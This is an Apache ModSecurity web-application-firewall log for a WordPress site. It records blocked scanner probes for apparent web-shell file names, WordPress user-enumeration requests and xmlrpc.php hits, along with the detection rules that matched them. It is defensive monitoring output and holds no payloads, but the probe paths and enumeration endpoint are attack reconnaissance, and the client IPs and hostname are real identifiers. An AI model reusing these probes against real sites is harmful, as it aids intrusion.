[Sun Apr 05 23:27:38.939500 2026] [:error] [pid 30921:tid 30942] [client 68.221.134.12:31361] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xenium4.php"] [unique_id "adJ_amFGQVn8Q0ueB25bwAAAARM"]
[Sun Apr 05 23:27:39.443698 2026] [:error] [pid 45409:tid 45414] [client 68.221.134.12:22566] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xenium4.php"] [unique_id "adJ_a9Ht_Oyw03gjCNh5gAAAAMM"]
[Sun Apr 05 23:27:40.111131 2026] [:error] [pid 45409:tid 45435] [client 68.221.134.12:11454] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xenium4.php"] [unique_id "adJ_bNHt_Oyw03gjCNh5hQAAANg"]
[Sun Apr 05 23:27:40.929611 2026] [:error] [pid 30921:tid 30941] [client 68.221.134.12:31363] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xenium4.php"] [unique_id "adJ_bGFGQVn8Q0ueB25bxQAAARI"]
[Sun Apr 05 23:27:41.597491 2026] [:error] [pid 45303:tid 45332] [client 68.221.134.12:29924] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1aa.php"] [unique_id "adJ_bbboQ9eViZ4hdnmQLwAAAA8"]
[Sun Apr 05 23:27:42.086600 2026] [:error] [pid 45303:tid 45324] [client 68.221.134.12:56816] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1aa.php"] [unique_id "adJ_brboQ9eViZ4hdnmQMwAAAAc"]
[Sun Apr 05 23:27:42.646905 2026] [:error] [pid 45409:tid 45423] [client 68.221.134.12:16081] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1aa.php"] [unique_id "adJ_btHt_Oyw03gjCNh5lwAAAMw"]
[Sun Apr 05 23:27:43.158799 2026] [:error] [pid 30921:tid 30945] [client 68.221.134.12:37614] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1aa.php"] [unique_id "adJ_b2FGQVn8Q0ueB25bywAAARY"]
[Sun Apr 05 23:27:43.665010 2026] [:error] [pid 45409:tid 45428] [client 68.221.134.12:16127] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wpyur.php"] [unique_id "adJ_b9Ht_Oyw03gjCNh5nAAAANE"]
[Sun Apr 05 23:27:44.241169 2026] [:error] [pid 45305:tid 45371] [client 68.221.134.12:23662] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wpyur.php"] [unique_id "adJ_cOjDQjr7aWhjflCRSAAAAIA"]
[Sun Apr 05 23:27:44.840427 2026] [:error] [pid 45303:tid 45332] [client 68.221.134.12:16069] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wpyur.php"] [unique_id "adJ_cLboQ9eViZ4hdnmQOAAAAA8"]
[Sun Apr 05 23:27:45.380806 2026] [:error] [pid 45303:tid 45336] [client 68.221.134.12:23672] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wpyur.php"] [unique_id "adJ_cbboQ9eViZ4hdnmQPAAAABM"]
[Sun Apr 05 23:27:45.907958 2026] [:error] [pid 45303:tid 45317] [client 68.221.134.12:31945] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wglum.php"] [unique_id "adJ_cbboQ9eViZ4hdnmQQQAAAAA"]
[Sun Apr 05 23:27:46.388009 2026] [:error] [pid 45303:tid 45340] [client 68.221.134.12:22536] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wglum.php"] [unique_id "adJ_crboQ9eViZ4hdnmQQgAAABc"]
[Sun Apr 05 23:27:46.889643 2026] [:error] [pid 45409:tid 45430] [client 68.221.134.12:37574] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wglum.php"] [unique_id "adJ_ctHt_Oyw03gjCNh5qAAAANM"]
[Sun Apr 05 23:27:47.506391 2026] [:error] [pid 45409:tid 45417] [client 68.221.134.12:63999] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wglum.php"] [unique_id "adJ_c9Ht_Oyw03gjCNh5rgAAAMY"]
[Sun Apr 05 23:27:48.022051 2026] [:error] [pid 45305:tid 45380] [client 68.221.134.12:23642] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ayk.php"] [unique_id "adJ_dOjDQjr7aWhjflCRSQAAAIk"]
[Sun Apr 05 23:27:48.703480 2026] [:error] [pid 45304:tid 45354] [client 68.221.134.12:22553] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ayk.php"] [unique_id "adJ_dA5jnqDKKovdRklGzQAAAEo"]
[Sun Apr 05 23:27:49.248697 2026] [:error] [pid 45303:tid 45335] [client 68.221.134.12:4664] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ayk.php"] [unique_id "adJ_dbboQ9eViZ4hdnmQTgAAABI"]
[Sun Apr 05 23:27:50.073045 2026] [:error] [pid 45303:tid 45336] [client 68.221.134.12:36990] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ayk.php"] [unique_id "adJ_drboQ9eViZ4hdnmQVgAAABM"]
[Sun Apr 05 23:27:50.713643 2026] [:error] [pid 45303:tid 45334] [client 68.221.134.12:27392] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/byp8.php"] [unique_id "adJ_drboQ9eViZ4hdnmQWQAAABE"]
[Sun Apr 05 23:27:51.225762 2026] [:error] [pid 45304:tid 45364] [client 68.221.134.12:31964] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/byp8.php"] [unique_id "adJ_dw5jnqDKKovdRklG0AAAAFQ"]
[Sun Apr 05 23:27:51.805038 2026] [:error] [pid 45304:tid 45361] [client 68.221.134.12:31954] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/byp8.php"] [unique_id "adJ_dw5jnqDKKovdRklG0wAAAFE"]
[Sun Apr 05 23:27:52.309694 2026] [:error] [pid 45305:tid 45379] [client 68.221.134.12:38789] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/byp8.php"] [unique_id "adJ_eOjDQjr7aWhjflCRTgAAAIg"]
[Sun Apr 05 23:27:52.826608 2026] [:error] [pid 45305:tid 45378] [client 68.221.134.12:31941] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/CZoaz8QUeQEV.php"] [unique_id "adJ_eOjDQjr7aWhjflCRUAAAAIc"]
[Sun Apr 05 23:27:53.323473 2026] [:error] [pid 45305:tid 45384] [client 68.221.134.12:28506] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/CZoaz8QUeQEV.php"] [unique_id "adJ_eejDQjr7aWhjflCRUwAAAI0"]
[Sun Apr 05 23:27:53.906489 2026] [:error] [pid 45305:tid 45391] [client 68.221.134.12:38857] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/CZoaz8QUeQEV.php"] [unique_id "adJ_eejDQjr7aWhjflCRVgAAAJQ"]
[Sun Apr 05 23:27:54.496951 2026] [:error] [pid 45303:tid 45322] [client 68.221.134.12:37628] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/CZoaz8QUeQEV.php"] [unique_id "adJ_erboQ9eViZ4hdnmQawAAAAU"]
[Sun Apr 05 23:27:55.028799 2026] [:error] [pid 45303:tid 45329] [client 68.221.134.12:38784] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ttRc68YLe0tB.php"] [unique_id "adJ_e7boQ9eViZ4hdnmQbgAAAAw"]
[Sun Apr 05 23:27:55.674402 2026] [:error] [pid 45304:tid 45354] [client 68.221.134.12:27443] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ttRc68YLe0tB.php"] [unique_id "adJ_ew5jnqDKKovdRklG3AAAAEo"]
[Sun Apr 05 23:27:56.328420 2026] [:error] [pid 45304:tid 45357] [client 68.221.134.12:38858] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ttRc68YLe0tB.php"] [unique_id "adJ_fA5jnqDKKovdRklG3wAAAE0"]
[Sun Apr 05 23:27:56.866362 2026] [:error] [pid 45303:tid 45338] [client 68.221.134.12:62029] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ttRc68YLe0tB.php"] [unique_id "adJ_fLboQ9eViZ4hdnmQdgAAABU"]
[Sun Apr 05 23:27:57.408836 2026] [:error] [pid 45409:tid 45418] [client 68.221.134.12:38881] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/byrgo.php"] [unique_id "adJ_fdHt_Oyw03gjCNh53wAAAMc"]
[Sun Apr 05 23:27:58.075048 2026] [:error] [pid 45409:tid 45415] [client 68.221.134.12:31379] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/byrgo.php"] [unique_id "adJ_ftHt_Oyw03gjCNh54gAAAMQ"]
[Sun Apr 05 23:27:58.689999 2026] [:error] [pid 45409:tid 45414] [client 68.221.134.12:27428] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/byrgo.php"] [unique_id "adJ_ftHt_Oyw03gjCNh56gAAAMM"]
[Sun Apr 05 23:27:59.268342 2026] [:error] [pid 45305:tid 45395] [client 68.221.134.12:29943] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/byrgo.php"] [unique_id "adJ_f-jDQjr7aWhjflCRZQAAAJg"]
[Sun Apr 05 23:28:00.079414 2026] [:error] [pid 45304:tid 45350] [client 68.221.134.12:38795] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-ox9eoqdk.php"] [unique_id "adJ_gA5jnqDKKovdRklG4QAAAEY"]
[Sun Apr 05 23:28:00.714026 2026] [:error] [pid 30921:tid 30924] [client 68.221.134.12:27393] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-ox9eoqdk.php"] [unique_id "adJ_gGFGQVn8Q0ueB25b8wAAAQE"]
[Sun Apr 05 23:28:01.506364 2026] [:error] [pid 45305:tid 45371] [client 68.221.134.12:42290] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-ox9eoqdk.php"] [unique_id "adJ_gejDQjr7aWhjflCRbAAAAIA"]
[Sun Apr 05 23:28:02.864576 2026] [:error] [pid 45304:tid 45351] [client 68.221.134.12:37607] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-ox9eoqdk.php"] [unique_id "adJ_gg5jnqDKKovdRklG5AAAAEc"]
[Sun Apr 05 23:28:04.012903 2026] [:error] [pid 45409:tid 45422] [client 68.221.134.12:16125] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-4qtafzz.php"] [unique_id "adJ_hNHt_Oyw03gjCNh5_AAAAMs"]
[Sun Apr 05 23:28:19.014064 2026] [:error] [pid 45303:tid 45327] [client 68.221.134.12:23659] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/she.php"] [unique_id "adJ_k7boQ9eViZ4hdnmQtwAAAAo"]
[Sun Apr 05 23:28:19.515951 2026] [:error] [pid 45409:tid 45434] [client 68.221.134.12:35946] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/she.php"] [unique_id "adJ_k9Ht_Oyw03gjCNh6QAAAANc"]
[Sun Apr 05 23:28:20.113998 2026] [:error] [pid 45409:tid 45415] [client 68.221.134.12:29646] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/she.php"] [unique_id "adJ_lNHt_Oyw03gjCNh6RAAAAMQ"]
[Sun Apr 05 23:28:20.667109 2026] [:error] [pid 45304:tid 45346] [client 68.221.134.12:34122] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/she.php"] [unique_id "adJ_lA5jnqDKKovdRklHCQAAAEI"]
[Sun Apr 05 23:28:21.395518 2026] [:error] [pid 45303:tid 45332] [client 68.221.134.12:24408] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/haojj.php"] [unique_id "adJ_lbboQ9eViZ4hdnmQvQAAAA8"]
[Sun Apr 05 23:28:22.519944 2026] [:error] [pid 45409:tid 45427] [client 68.221.134.12:34171] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/haojj.php"] [unique_id "adJ_ltHt_Oyw03gjCNh6UgAAANA"]
[Sun Apr 05 23:28:23.246580 2026] [:error] [pid 45304:tid 45357] [client 68.221.134.12:34113] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/haojj.php"] [unique_id "adJ_lw5jnqDKKovdRklHDwAAAE0"]
[Sun Apr 05 23:28:23.809762 2026] [:error] [pid 45304:tid 45349] [client 68.221.134.12:39476] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/haojj.php"] [unique_id "adJ_lw5jnqDKKovdRklHEQAAAEU"]
[Sun Apr 05 23:33:06.293382 2026] [:error] [pid 45409:tid 45430] [client 49.51.72.236:47784] [client 49.51.72.236] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "adKAstHt_Oyw03gjCNiAjwAAANM"]
[Mon Apr 06 01:04:59.811057 2026] [:error] [pid 51580:tid 51648] [client 198.44.133.101:43670] [client 198.44.133.101] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "adKWO1NFl1NiyNgNZAkdBQAAAEk"], referer: https://www.google.com
[Mon Apr 06 03:16:11.676994 2026] [:error] [pid 32000:tid 32008] [client 106.195.11.59:45624] [client 106.195.11.59] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "adK0-xfBlfYN1-fxMe3hsQAAAEQ"]
[Mon Apr 06 03:18:41.545580 2026] [:error] [pid 32443:tid 32464] [client 106.195.11.59:38216] [client 106.195.11.59] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.195.11.59, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adK1kbdhOWoUfsIiaYgs2QAAANM"]
[Mon Apr 06 03:20:35.490674 2026] [:error] [pid 32340:tid 32399] [client 106.195.11.59:37988] [client 106.195.11.59] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.195.11.59, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adK2A2eiKt3FjaPMj3MJAwAAAFc"]
